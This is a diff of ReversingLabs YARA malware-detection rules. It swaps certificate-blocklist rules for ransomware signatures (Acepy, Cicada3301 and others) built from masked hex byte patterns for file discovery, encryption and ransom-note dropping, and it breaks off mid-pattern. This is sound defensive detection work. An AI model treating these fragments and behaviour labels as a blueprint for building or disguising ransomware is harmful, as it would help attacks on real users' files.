"2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3026-L3042" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "58f5e163d9807520497ba55e42c048020f6b7653ed71f3954e7ffb490f4de0e4" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files_p1 = { + 72 ?? 8D 45 ?? BA ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 68 ?? ?? ?? ?? 57 FF D0 85 C0 75 ?? 33 F6 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B4 B5 ?? ?? ?? ?? 57 FF D0 85 C0 75 ?? 46 83 FE ?? 7C + ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 5F 5E 33 C0 5B 8B E5 5D C3 CC 55 8B EC 83 EC + ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? + ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? + ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? + ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8A 45 ?? 80 7D ?? ?? + 75 + } + $encrypt_files_p2 = { + 8B 45 ?? 40 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 74 ?? E9 ?? ?? ?? ?? 8B 45 ?? 25 ?? ?? + ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 74 ?? 8B 4D ?? 8D 46 ?? 03 CF 0F AF C8 89 4D ?? 8B + 45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 75 ?? B9 ?? ?? ?? ?? 90 8B 45 ?? 99 + F7 F9 8B 45 ?? 85 D2 74 ?? 48 EB ?? 40 89 45 ?? 8B 45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83 + C8 ?? 83 C0 ?? 74 ?? EB ?? 8B 45 ?? B9 ?? ?? ?? ?? 99 F7 F9 85 D2 74 ?? 8B 45 ?? 8D + 4E ?? 83 C0 ?? 99 F7 F9 B9 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 75 ?? 8B 45 + ?? 99 F7 7D ?? 8B 45 ?? 85 D2 74 ?? 40 EB ?? 48 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 74 + ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 FF + D0 C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 45 ?? 99 F7 F9 8B 45 ?? 85 D2 74 ?? 83 C0 + ?? 03 C3 89 45 ?? 8B 45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 0F 85 + } + $drop_ransom_note = { + 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 53 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 + FF 74 ?? 8B CF E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 74 ?? 6A + ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D0 6A ?? + 68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A + ?? 6A ?? 68 ?? ?? ?? ?? 56 FF D0 8B F0 BA ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 89 35 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF D0 B9 ?? ?? ?? ?? 8D BD ?? + ?? ?? ?? BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ?? 6A ?? 50 66 A5 A4 E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 CD B8 ?? + ?? ?? ?? 5F 5B 5E E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_files = { + 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF + B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 + 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 + ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 + C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? + ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? + FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DUHANEY LIMITED" and pe.signatures [ i ] . serial == "4f:f4:ed:a5:fa:64:1e:70:16:27:13:42:64:01:f4:38" and 1555349604 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) } - -rule REVERSINGLABS_Cert_Blocklist_067Dffc5E3026Eb4C62971C98Ac8A900 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Acepy : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Acepy ransomware." author = "ReversingLabs" - id = "9b9771bb-c2a4-5a6e-8fdb-b3e98f62f9b1" - date = "2020-08-05" - modified = "2023-11-08" + id = "3ffb45b1-6bde-5bf8-957e-433b9488ba91" + date = "2022-08-04" + modified = "2022-08-04" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3044-L3060" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Acepy.yara#L1-L69" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2b7c4cded14afd8ba3feabb6debaa1317917b811b44e22aa8a0b3ea00d689141" + logic_hash = "92c543a0b8c3c884f83647119d32c7b46f5fe839694bb8a8de0146c5c77bc587" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Acepy" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? + 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? 51 50 E8 ?? ?? ?? ?? + 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B 08 51 E8 ?? ?? ?? ?? + 83 C4 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? + E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? + B8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 + 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? + ?? ?? B8 ?? ?? ?? ?? C9 C3 + } + $encrypt_files = { + 55 89 E5 81 EC ?? ?? ?? ?? 90 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 89 45 ?? 8B 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? + ?? ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 40 50 B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 89 45 ?? 8B 45 ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? B8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 4D ?? 39 C8 0F 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? + 8B 45 ?? 89 C1 40 89 45 ?? EB ?? 8B 45 ?? 8B 4D ?? 01 C1 8B 45 ?? 8B 55 ?? 01 C2 8B + 45 ?? 50 89 4D ?? 89 55 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 8B 4D ?? 31 D2 + F7 F1 8B 45 ?? 01 D0 8B 4D ?? 0F BE 09 0F BE 10 31 D1 8B 45 ?? 88 08 EB ?? B8 ?? ?? + ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 B9 ?? ?? ?? ?? 51 50 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C9 C3 + } + $drop_ransom_note = { + 55 89 E5 81 EC ?? ?? ?? ?? 90 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 89 45 ?? 8B 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? + ?? ?? B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 50 B8 ?? ?? ?? ?? 50 B8 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? + ?? ?? C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DVERI FADO, TOV" and pe.signatures [ i ] . serial == "06:7d:ff:c5:e3:02:6e:b4:c6:29:71:c9:8a:c8:a9:00" and 1552176000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $find_files ) and ( $encrypt_files ) and ( $drop_ransom_note ) ) } - -rule REVERSINGLABS_Cert_Blocklist_B1Da219688E51Fd0Bfac2C891D56Cbb8 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Cicada3301 : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Cicada3301 ransomware." author = "ReversingLabs" - id = "245c582a-b168-53ce-9a3c-b291ae5bc2a0" - date = "2020-08-05" - modified = "2023-11-08" + id = "c1a60870-0b68-5f2f-a74f-34e493a5e251" + date = "2024-10-09" + modified = "2024-10-09" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3062-L3080" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Cicada3301.yara#L1-L309" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "03549214940a8689213bd2eb891da1c1991627c81c8b7f26860141c397409d46" + logic_hash = "9479667fd4c7f865607ece6af985ab6fa7b62f98738c338e4155059551db8a21" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Cicada3301" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FIRNEEZ EUROPE LIMITED" and ( pe.signatures [ i ] . serial == "00:b1:da:21:96:88:e5:1f:d0:bf:ac:2c:89:1d:56:cb:b8" or pe.signatures [ i ] . serial == "b1:da:21:96:88:e5:1f:d0:bf:ac:2c:89:1d:56:cb:b8" ) and 1542931200 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_7289B0F9Bd641E3E352Dc3183F8De6Be : INFO FILE -{ + strings: + $get_valid_drives = { + 55 89 E5 53 57 56 83 EC ?? A1 ?? ?? ?? ?? 0F B6 00 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 28 0D ?? ?? ?? ?? 0F 28 15 ?? ?? + ?? ?? 89 C6 0F 11 00 0F 11 48 ?? 0F 28 0D ?? ?? ?? ?? 0F 11 50 ?? 0F 28 15 ?? ?? ?? + ?? 0F 11 48 ?? 0F 28 0D ?? ?? ?? ?? 0F 11 50 ?? 0F 11 48 ?? C7 40 ?? ?? ?? ?? ?? C7 + 40 ?? ?? ?? ?? ?? 83 C0 ?? 8D 4D ?? 50 56 51 E8 ?? ?? ?? ?? 83 C4 ?? 80 7D ?? ?? 0F + 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 89 45 ?? 83 FF ?? 0F 82 ?? ?? ?? ?? 8B 5D ?? + 8D 04 7F 89 75 ?? 89 7D ?? 8D 74 83 ?? 66 2E 0F 1F 84 00 ?? ?? ?? ?? 90 57 6A ?? 8D + 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 8D 4F ?? 39 D1 0F 83 ?? ?? ?? ?? 39 D0 0F + 83 ?? ?? ?? ?? 8B 56 ?? 8D 04 40 89 CF 89 55 ?? F2 0F 10 06 F2 0F 11 45 ?? 8B 54 83 + ?? F2 0F 10 04 83 F2 0F 11 06 89 56 ?? 83 C6 ?? 83 F9 ?? 8B 55 ?? 89 54 83 ?? F2 0F + 10 45 ?? F2 0F 11 04 83 77 ?? 8B 45 ?? 8B 75 ?? FF 08 75 ?? FF 48 ?? 75 ?? 6A ?? 68 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 7D ?? 8B 45 ?? F2 0F 10 45 ?? 89 47 ?? F2 + 0F 11 07 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 F8 83 C4 ?? 5E 5F 5B 5D C3 + } + $collect_files_recursively_p1 = { + 55 89 E5 53 57 56 83 E4 ?? 81 EC ?? ?? ?? ?? 8B 4D ?? 8B 7D ?? 8B 75 ?? 8B 45 ?? 89 + 4C 24 ?? 89 44 24 ?? 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 84 C0 0F 84 ?? ?? ?? ?? + 8D 9C 24 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 BC 24 ?? ?? ?? ?? ?? 75 ?? + 8B 84 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? + C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 7D ?? 8B + 5D ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 04 FB C7 + 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? + 8D 8C 24 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 0F + 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D B4 24 ?? ?? ?? ?? 56 E8 ?? + ?? ?? ?? 83 C4 ?? 56 8D 74 24 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 + ?? 52 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B BC 24 ?? ?? ?? ?? 8B 9C + 24 ?? ?? ?? ?? 85 FF 89 FA 0F 44 D3 8D 8C 24 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 FF 74 ?? 85 DB 74 ?? + 6A ?? 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 84 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 7D + ?? 89 44 24 ?? 89 0C 24 EB ?? 66 90 83 C7 ?? 80 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 3B BC + } + $collect_files_recursively_p2 = { + 24 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 77 ?? FF 37 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? FF 34 24 FF 74 24 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 74 24 ?? FF 74 24 + ?? 56 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 80 BC 24 ?? ?? ?? ?? ?? 0F 84 + ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? F2 0F 10 84 24 ?? ?? ?? ?? F2 0F 10 94 24 ?? ?? ?? + ?? F2 0F 10 8C 24 ?? ?? ?? ?? 8B 5C 24 ?? 89 84 24 ?? ?? ?? ?? F2 0F 11 84 24 ?? ?? + ?? ?? F2 0F 11 8C 24 ?? ?? ?? ?? F2 0F 11 94 24 ?? ?? ?? ?? FF 74 24 ?? 53 8D 84 24 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 88 44 24 ?? 8B 44 24 ?? 85 C0 74 ?? 6A ?? 50 + 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 85 C0 74 ?? 6A ?? 50 56 E8 ?? ?? ?? ?? 83 C4 + ?? 8B 84 24 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 50 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 8B B4 24 ?? ?? ?? ?? 85 F6 74 ?? 8B 9C 24 ?? ?? ?? ?? 83 C3 ?? EB ?? 66 2E 0F + 1F 84 00 ?? ?? ?? ?? 90 83 C3 ?? 4E 74 ?? 83 7B ?? ?? 72 ?? 8B 03 85 C0 74 ?? C1 E0 + ?? 6A ?? 50 FF 73 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 66 2E 0F 1F 84 00 ?? ?? ?? ?? 90 + 8B 84 24 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C1 E0 ?? 6A ?? 50 FF B4 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 8B 5C 24 ?? 89 44 24 ?? 89 54 24 ?? 85 DB 0F 84 ?? ?? ?? ?? 83 FB ?? 0F + 85 ?? ?? ?? ?? 8B 74 24 ?? F0 FF 86 ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F + 1F 44 00 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 52 50 8D 84 24 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 8B 84 24 ?? ?? ?? ?? 83 F0 ?? 0B 84 24 ?? ?? ?? ?? 75 ?? 8B 84 + 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? EB + } + $collect_files_recursively_p3 = { + 8D 94 24 ?? ?? ?? ?? 8D 9C 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 D7 89 DE F3 A5 8B 84 24 + ?? ?? ?? ?? 83 F0 ?? 0B 84 24 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 80 BC 24 ?? ?? ?? ?? ?? + 0F 85 ?? ?? ?? ?? 8B BC 24 ?? ?? ?? ?? 8B 77 ?? 8B 1F 8B 06 53 FF D0 83 C4 ?? 8B 46 + ?? 85 C0 74 ?? FF 76 ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 57 E8 ?? ?? ?? ?? + 83 C4 ?? EB ?? 8B 74 24 ?? F0 FF 86 ?? ?? ?? ?? 7F ?? E9 ?? ?? ?? ?? 8B 74 24 ?? F0 + FF 06 0F 8E ?? ?? ?? ?? 89 5C 24 ?? 89 74 24 ?? FF 75 ?? 8D BC 24 ?? ?? ?? ?? 57 E8 + ?? ?? ?? ?? 83 C4 ?? 57 56 53 FF 75 ?? FF 75 ?? FF 74 24 ?? FF 74 24 ?? 8D 84 24 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 84 24 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B + 84 24 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 50 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 8B 44 24 ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 84 24 ?? ?? + ?? ?? F0 FF 08 0F 85 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 + ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 DF 89 D6 F3 A5 53 E8 ?? ?? ?? ?? 83 C4 ?? 09 D0 0F 84 + ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 74 ?? 52 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 31 DB 83 7C 24 ?? ?? 75 ?? 8B + 5C 24 ?? 8B 7C 24 ?? EB ?? 8B BC 24 ?? ?? ?? ?? 31 DB 85 DB B8 ?? ?? ?? ?? 89 BC 24 + ?? ?? ?? ?? 0F 44 FB 0F 44 D8 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 52 50 E8 ?? ?? + ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 52 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 83 7C 24 ?? ?? 8B 4C 24 ?? 0F 85 ?? ?? ?? ?? 8B 74 24 ?? 89 C8 83 F8 ?? 0F 82 ?? ?? + ?? ?? 89 4C 24 ?? 8B 0E BA ?? ?? ?? ?? 31 D1 0F B6 56 ?? 83 F2 ?? 09 CA 0F 85 ?? ?? + ?? ?? 83 C0 ?? 8D 4E ?? 50 51 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 80 7C 24 + } + $collect_files_recursively_p4 = { + 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 89 C1 85 C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 50 51 89 4C 24 ?? E8 ?? + ?? ?? ?? 8B 0C 24 89 44 24 ?? 51 E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 74 ?? 81 7C 24 ?? ?? + ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 52 50 8D 44 24 ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7C 24 ?? ?? 8B 4C 24 ?? 8B 54 24 ?? B8 ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F 45 C8 B8 ?? + ?? ?? ?? 0F 45 D0 8D 84 24 ?? ?? ?? ?? 89 0C 24 89 44 24 ?? 8D 44 24 ?? 89 54 24 ?? + C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 8B 0C 24 8B 54 24 ?? 89 44 24 ?? 8B 44 24 + ?? 89 54 24 ?? 89 84 24 ?? ?? ?? ?? 89 C8 29 D0 BA ?? ?? ?? ?? 72 ?? 03 44 24 ?? FF + 74 24 ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 8B 54 24 ?? 85 C0 B8 ?? + ?? ?? ?? 0F 45 D0 8B 84 24 ?? ?? ?? ?? 89 54 24 ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 ?? + E8 ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? 83 C4 ?? 89 C8 29 D0 89 44 24 ?? 50 8B 44 24 + ?? 50 51 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 84 24 ?? ?? ?? ?? + 3C ?? 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 8B 7C 24 ?? BE ?? ?? ?? ?? 39 04 24 74 ?? 85 FF + 0F 88 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B6 00 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 89 C6 85 + C0 0F 84 ?? ?? ?? ?? 57 FF 74 24 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 74 24 ?? 89 7C 24 + ?? 89 7C 24 ?? 8D 